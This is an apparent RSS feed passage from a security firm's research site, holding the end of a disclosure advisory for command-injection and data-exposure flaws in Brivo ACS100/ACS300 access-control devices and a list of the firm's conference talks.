  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;h2 id=&#34;cve-2023-6259--local-access-to-sensitive-data&#34;&gt;CVE-2023-6259 – Local Access to Sensitive Data&lt;/h2&gt;
&lt;p&gt;An attacker with physical access to the ACS100 or ACS300 devices can access sensitive data from device memory that can be used to conduct additional attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS severity level of this vulnerability has been calculated to be 7.1 (High)&lt;/p&gt;
&lt;p&gt;CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&lt;/p&gt;
&lt;h2 id=&#34;cve-2023-6260--web-ui-os-command-injection&#34;&gt;CVE-2023-6260 – Web UI OS Command Injection&lt;/h2&gt;
&lt;h3 id=&#34;acs300-physical-access&#34;&gt;ACS300 (Physical Access)&lt;/h3&gt;
&lt;p&gt;An attacker with physical access to ACS300 devices can perform a command injection attack via the web UI and gain access to sensitive data that can be used to conduct additional attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 7.4 (High) for the physical access scenario:&lt;/p&gt;
&lt;p&gt;CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H&lt;/p&gt;
&lt;h3 id=&#34;acs100-adjacent-network-access&#34;&gt;ACS100 (Adjacent Network Access)&lt;/h3&gt;
&lt;p&gt;An attacker with local network access to ACS100 devices can perform a command injection attack via the web UI and gain access to sensitive data that can be used to conduct additional attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS severity level of this vulnerability has been calculated to be 9.0 (High) for the adjacent network access scenario:&lt;/p&gt;
&lt;p&gt;CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H&lt;/p&gt;
&lt;h1 id=&#34;affected-versions-and-models&#34;&gt;Affected Versions and Models&lt;/h1&gt;
&lt;p&gt;Affects models ACS100, ACS300. Models ACS6000 and ACSSDC may also be affected.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Affects firmware versions from 5.2.4 but before 6.2.4.3. Versions prior to 5.2.4 may also be affected.&lt;/p&gt;
&lt;h1 id=&#34;mitre-cwe-weakness-enumeration&#34;&gt;MITRE CWE Weakness Enumeration&lt;/h1&gt;
&lt;p&gt;CWE-284: Improper Access Control&lt;/p&gt;
&lt;p&gt;CWE-522: Insufficiently Protected Credentials&lt;/p&gt;
&lt;p&gt;CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’)&lt;/p&gt;
&lt;h1 id=&#34;remediation-options&#34;&gt;Remediation Options&lt;/h1&gt;
&lt;p&gt;Update affected devices to firmware version 6.2.4.3. Contact Brivo or your reseller for more information.&lt;/p&gt;
&lt;h1 id=&#34;source&#34;&gt;Source&lt;/h1&gt;
&lt;p&gt;These vulnerabilities were discovered by Alexandra Grochal and Gabe Siftar, as part of a research initiative for Security Risk Advisors’ internal hardware penetration testing team.&lt;/p&gt;
&lt;h1 id=&#34;timeframe&#34;&gt;Timeframe&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;October 9, 2023 – SRA attempts initial contact with Brivo.&lt;/li&gt;
&lt;li&gt;November 9, 2023 – SRA shares vulnerability details with Brivo’s product security team.&lt;/li&gt;
&lt;li&gt;November 29, 2023 – SRA reserves CVE IDs.&lt;/li&gt;
&lt;li&gt;December 15, 2023 – Brivo releases fix to production.&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>Conferences</title>
      <link>https://labs.sra.io/conferences/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/conferences/</guid>
      <description>&lt;p&gt;The following is a list of conference talk given by Security Risk Advisors.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Year&lt;/th&gt;
          &lt;th&gt;Conference&lt;/th&gt;
          &lt;th&gt;Talk&lt;/th&gt;
          &lt;th&gt;Presenter&lt;/th&gt;
          &lt;th&gt;Resources&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;DEFCON 34 Physical Village&lt;/td&gt;
          &lt;td&gt;Clone to Pwn: Remote Badge Cloning with the Flipper Zero&lt;/td&gt;
          &lt;td&gt;Langston Clement&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/sh0ckSec/FlipperHIDecoder/tree/main&#34; target=&#34;_blank&#34;&gt;GitHub&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;BSides Pittsburgh&lt;/td&gt;
          &lt;td&gt;All You Have to Do is Ask: Compromising Companies Over the Phone&lt;/td&gt;
          &lt;td&gt;Annika Clarke&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Pittsburgh%202026/All%20You%20Have%20to%20Do%20is%20Ask.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;BSides OT UK&lt;/td&gt;
          &lt;td&gt;Mind the Gap: Security on Paper, Reality on the Wire&lt;/td&gt;
          &lt;td&gt;Mandie Grosskopf&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20OT%20UK/Mind%20the%20Gap%20Security%20on%20Paper%2C%20Reality%20on%20the%20Wire.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;Insomni&amp;rsquo;hack&lt;/td&gt;
          &lt;td&gt;Pruning Garden Paths in AWS&lt;/td&gt;
          &lt;td&gt;Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Insomnihack%202026/Pruning%20Garden%20Paths%20in%20AWS.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/PnN1-LA3n5k?list=PLcAhMYXnWf9udNbl0IOQkfREOd1W2m00A&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;BSides ICS/OT&lt;/td&gt;
          &lt;td&gt;Fabricating Kill Chains&lt;/td&gt;
          &lt;td&gt;Connor Jackson&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20ICS%202026/Fabricating%20Kill%20Chains.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;BSides ICS/OT&lt;/td&gt;
          &lt;td&gt;Mission: Resilient - Your OT Cybersecurity Maturity Made Possibles&lt;/td&gt;
          &lt;td&gt;Mandie Grosskopf&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20ICS-OT%202026/Mission%20Resilient%20-%20Your%20OT%20Cybersecurity%20Maturity%20Made%20Possible.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;Hiding in Plain Sight: Weaponizing Developer Applications and Interpreted Languages to Evade Modern EDR&lt;/td&gt;
          &lt;td&gt;Annika Clarke&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202025/Hiding%20in%20Plain%20Sight.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/kdaXP4LeUio?list=PL2T7DhHqMeE_UE9I2pZKvnqwOusp0X2GK&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;Letthemin: Facilitating High-Value Purple Teams Using an Assumed Compromise Approach&lt;/td&gt;
          &lt;td&gt;Sarah Hume&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202025/Letthemin%3A%20Facilitating%20High-Value%20Purple%20Teams%20Using%20an%20Assumed%20Compromise%20Approach.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;NAC to the Future&lt;/td&gt;
          &lt;td&gt;Richard Console&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202025/NAC%20to%20the%20Future.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/2pd3nviKXn8?list=PL2T7DhHqMeE_UE9I2pZKvnqwOusp0X2GK&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;Screaming About Detection Coverage in ALLCAPS&lt;/td&gt;
          &lt;td&gt;Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202025/Screaming%20About%20Detection%20Coverage%20in%20ALLCAPS.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/XagP5zAw5b0?list=PL2T7DhHqMeE_UE9I2pZKvnqwOusp0X2GK&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;Burning River Cyber Con&lt;/td&gt;
          &lt;td&gt;Hiding in Plain Sight: Weaponizing Developer Applications and Interpreted Languages to Evade Modern EDR&lt;/td&gt;
          &lt;td&gt;Annika Clarke&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Burning%20River%20Cyber%20Con%202025/Hiding%20in%20Plain%20Sight.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;Burning River Cyber Con&lt;/td&gt;
          &lt;td&gt;An OffSec Adventure Through Modern CI/CD Systems&lt;/td&gt;
          &lt;td&gt;Jonathan Callahan&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Burning%20River%20Cyber%20Con%202025/An%20OffSec%20Adventure%20through%20CICD.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;BSides Chicago&lt;/td&gt;
          &lt;td&gt;Pruning Garden Paths in AWS&lt;/td&gt;
          &lt;td&gt;Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Chicago%202025/Pruning%20Garden%20Paths%20in%20AWS.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;Rochester Security Summit&lt;/td&gt;
          &lt;td&gt;What Could Go Wrong? AI Security Mistakes Event Fortune 500 Companies Are Making&lt;/td&gt;
          &lt;td&gt;Savannah Alfaro &amp;amp; Zachary Wallace&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Rochester%20Security%20Summit%202025/AI%20Security%20Mistakes%20Even%20Fortune%20500%20Companies%20Are%20Making.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/CGeU2FHa-Qw&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;DEFCON 33 Adversary Village&lt;/td&gt;
          &lt;td&gt;Letthemin: Facilitating High Value Purple Teams Using Assumed Compromise&lt;/td&gt;
          &lt;td&gt;Sarah Hume&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Adversary%20Village%202025/Letthemin%3A%20Facilitating%20High-Value%20Purple%20Teams%20Using%20an%20Assumed%20Compromise%20Approach.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/xM8nodIw1_E&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2023&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;GET IN THE BOX&lt;/td&gt;
          &lt;td&gt;Dan Astor &amp;amp; Jonathan Callahan&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202023/GET%20IN%20THE%20BOX.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/2JMgrYfYpaU?list=PL2T7DhHqMeE-o_4UpE3ExYdNSokg8ZBjz&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2023&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;RPC Filter I Hardly Know Her&lt;/td&gt;
          &lt;td&gt;Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202023/RPC%20Filter%20I%20Hardly%20Know%20Her.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/76Dyg1Lc2sg?list=PL2T7DhHqMeE-o_4UpE3ExYdNSokg8ZBjz&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2023&lt;/td&gt;
          &lt;td&gt;Rochester Security Summit&lt;/td&gt;
          &lt;td&gt;A Hardware Hacker&amp;rsquo;s Perspective&lt;/td&gt;
          &lt;td&gt;Zachary Lehmann &amp;amp; Gabe Siftar&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Rochester%20Security%20Summit%202023/A%20Hardware%20Hacker%27s%20Perspective.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/OBxiOBaEmF0?list=PLHzA8r6W7pk2JQUUZScPtWW1MAOcihG5B&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2021&lt;/td&gt;
          &lt;td&gt;ShellCon&lt;/td&gt;
          &lt;td&gt;Pipelines &amp;amp; Serverless &amp;amp; Automation, Oh My!&lt;/td&gt;
          &lt;td&gt;Cassandra Young, Jonathan Callahan, &amp;amp; Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/ShellCon%202021/Pipelines%20%26%20Serverless%20%26%20Automation%2C%20Oh%20My!.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/b22kqWVFHbo?list=PL7D3STHEa66QNx0Z0uW4yISwHdbCzVKli&amp;amp;t=12190&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2018&lt;/td&gt;
          &lt;td&gt;BSides Pittsburgh&lt;/td&gt;
          &lt;td&gt;Heavy Machinery and Burly Lumberjacks and Logging! Oh My!&lt;/td&gt;
          &lt;td&gt;Dan Astor &amp;amp; Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://sra.io/press-release/bsides-pgh-2018-heavy-machinery-and-burly-lumberjacks-and-logging-oh-my/&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/xH1TeVtG1M8?list=PL3lLo2CTc7Yw9UaFs4-61V3j19KC_2ETj&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2017&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;Threat Hunting: Defining the Process While Circumventing Corporate Obstacles&lt;/td&gt;
          &lt;td&gt;Kevin Foster, Matt Schneck, &amp;amp; Ryan Andress&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://sra.io/blog/bsides-philly-2017-threat-hunting-defining-the-process-while-circumventing-corporate-obstacles/&#34; target=&#34;_blank&#34;&gt;Slides &amp;amp; Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2017&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;MFA: It’s 2017 and You’re Still Doing It Wrong&lt;/td&gt;
          &lt;td&gt;Chris Salerno &amp;amp; Dan Astor&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://sra.io/blog/bsides-philly-2017-mfa-its-2017-and-youre-still-doing-it-wrong/&#34; target=&#34;_blank&#34;&gt;Slides &amp;amp; Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2017&lt;/td&gt;
          &lt;td&gt;BSides NOLA&lt;/td&gt;
          &lt;td&gt;Your New Red Team Hardware Survival Pack&lt;/td&gt;
          &lt;td&gt;Chris Salerno &amp;amp; Dan Astor&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://sra.io/blog/bsides-nola-2017-your-new-red-team-hardware-survival-pack/&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;</description>
      <content>&lt;p&gt;The following is a list of conference talk given by Security Risk Advisors.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Year&lt;/th&gt;
          &lt;th&gt;Conference&lt;/th&gt;
          &lt;th&gt;Talk&lt;/th&gt;
          &lt;th&gt;Presenter&lt;/th&gt;
          &lt;th&gt;Resources&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;DEFCON 34 Physical Village&lt;/td&gt;
          &lt;td&gt;Clone to Pwn: Remote Badge Cloning with the Flipper Zero&lt;/td&gt;
          &lt;td&gt;Langston Clement&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/sh0ckSec/FlipperHIDecoder/tree/main&#34; target=&#34;_blank&#34;&gt;GitHub&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;BSides Pittsburgh&lt;/td&gt;
          &lt;td&gt;All You Have to Do is Ask: Compromising Companies Over the Phone&lt;/td&gt;
          &lt;td&gt;Annika Clarke&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Pittsburgh%202026/All%20You%20Have%20to%20Do%20is%20Ask.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;BSides OT UK&lt;/td&gt;
          &lt;td&gt;Mind the Gap: Security on Paper, Reality on the Wire&lt;/td&gt;
          &lt;td&gt;Mandie Grosskopf&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20OT%20UK/Mind%20the%20Gap%20Security%20on%20Paper%2C%20Reality%20on%20the%20Wire.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;Insomni&amp;rsquo;hack&lt;/td&gt;
          &lt;td&gt;Pruning Garden Paths in AWS&lt;/td&gt;
          &lt;td&gt;Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Insomnihack%202026/Pruning%20Garden%20Paths%20in%20AWS.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/PnN1-LA3n5k?list=PLcAhMYXnWf9udNbl0IOQkfREOd1W2m00A&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;BSides ICS/OT&lt;/td&gt;
          &lt;td&gt;Fabricating Kill Chains&lt;/td&gt;
          &lt;td&gt;Connor Jackson&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20ICS%202026/Fabricating%20Kill%20Chains.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2026&lt;/td&gt;
          &lt;td&gt;BSides ICS/OT&lt;/td&gt;
          &lt;td&gt;Mission: Resilient - Your OT Cybersecurity Maturity Made Possibles&lt;/td&gt;
          &lt;td&gt;Mandie Grosskopf&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20ICS-OT%202026/Mission%20Resilient%20-%20Your%20OT%20Cybersecurity%20Maturity%20Made%20Possible.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;Hiding in Plain Sight: Weaponizing Developer Applications and Interpreted Languages to Evade Modern EDR&lt;/td&gt;
          &lt;td&gt;Annika Clarke&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202025/Hiding%20in%20Plain%20Sight.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/kdaXP4LeUio?list=PL2T7DhHqMeE_UE9I2pZKvnqwOusp0X2GK&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;Letthemin: Facilitating High-Value Purple Teams Using an Assumed Compromise Approach&lt;/td&gt;
          &lt;td&gt;Sarah Hume&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202025/Letthemin%3A%20Facilitating%20High-Value%20Purple%20Teams%20Using%20an%20Assumed%20Compromise%20Approach.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;NAC to the Future&lt;/td&gt;
          &lt;td&gt;Richard Console&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202025/NAC%20to%20the%20Future.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/2pd3nviKXn8?list=PL2T7DhHqMeE_UE9I2pZKvnqwOusp0X2GK&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;BSides Philly&lt;/td&gt;
          &lt;td&gt;Screaming About Detection Coverage in ALLCAPS&lt;/td&gt;
          &lt;td&gt;Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Philly%202025/Screaming%20About%20Detection%20Coverage%20in%20ALLCAPS.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/XagP5zAw5b0?list=PL2T7DhHqMeE_UE9I2pZKvnqwOusp0X2GK&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;Burning River Cyber Con&lt;/td&gt;
          &lt;td&gt;Hiding in Plain Sight: Weaponizing Developer Applications and Interpreted Languages to Evade Modern EDR&lt;/td&gt;
          &lt;td&gt;Annika Clarke&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Burning%20River%20Cyber%20Con%202025/Hiding%20in%20Plain%20Sight.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;Burning River Cyber Con&lt;/td&gt;
          &lt;td&gt;An OffSec Adventure Through Modern CI/CD Systems&lt;/td&gt;
          &lt;td&gt;Jonathan Callahan&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Burning%20River%20Cyber%20Con%202025/An%20OffSec%20Adventure%20through%20CICD.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;BSides Chicago&lt;/td&gt;
          &lt;td&gt;Pruning Garden Paths in AWS&lt;/td&gt;
          &lt;td&gt;Evan Perotti&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/BSides%20Chicago%202025/Pruning%20Garden%20Paths%20in%20AWS.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
          &lt;td&gt;Rochester Security Summit&lt;/td&gt;
          &lt;td&gt;What Could Go Wrong? AI Security Mistakes Event Fortune 500 Companies Are Making&lt;/td&gt;
          &lt;td&gt;Savannah Alfaro &amp;amp; Zachary Wallace&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/public-assets/blob/main/Rochester%20Security%20Summit%202025/AI%20Security%20Mistakes%20Even%20Fortune%20500%20Companies%20Are%20Making.pdf&#34; target=&#34;_blank&#34;&gt;Slides&lt;/a&gt;&lt;br&gt;&lt;a href=&#34;https://youtu.be/CGeU2FHa-Qw&#34; target=&#34;_blank&#34;&gt;Video&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2025&lt;/td&gt;
